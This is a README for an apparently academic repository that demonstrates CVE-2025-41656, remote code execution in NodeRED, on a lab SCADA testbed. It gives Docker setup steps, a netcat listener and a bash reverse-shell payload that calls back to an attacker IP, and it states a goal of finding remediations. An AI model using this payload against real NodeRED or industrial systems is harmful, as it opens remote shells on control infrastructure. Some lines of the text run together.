
This repository includes the code and files needed to test and execute a PoC for CVE-2025-41656
This project exists to model CVE-2025-41656, an unauthenticated remote code execution vulnerability for NodeRED. To model this vulnerability, we created a small form factor SCADA system with a raspberry pi, an actuator, and a sensor. The raspberry pi contains a NodeRED and OpenPLC container that communicate with eachother over Modbus TCP to control the actuator. This is a python proof of concept script to carry out the CVE-2025-41656 attack. The goal is to successfully create a PoC and find remediations to secure the system.
git clone [email protected]:wallyschag/CVE-2025-41656.git
cd CVE-2025-41656
git clone https://github.com/thiagoralves/OpenPLC_v3.git
rm OpenPLC_v3/Dockerfile && cp Dockerfile_WiringPi OpenPLC_v3/Dockerfile
docker compose up --build -d
docker container ls
docker network inspect csci587-final-project_scadanet
nc -lvnp 1234NODE_RED_IP and NODE_RED_PORT with the IP address and port (1880) of your NodeRED service in cve_2025_41656.py.cve_2025_41656 change the IP address in the line "command": "bash -c 'bash -i >& /dev/tcp/192.168.4.223/1234 0>&1'", to the IP address of the machine you are launching the exploit from.python3 cve_2025_41656.py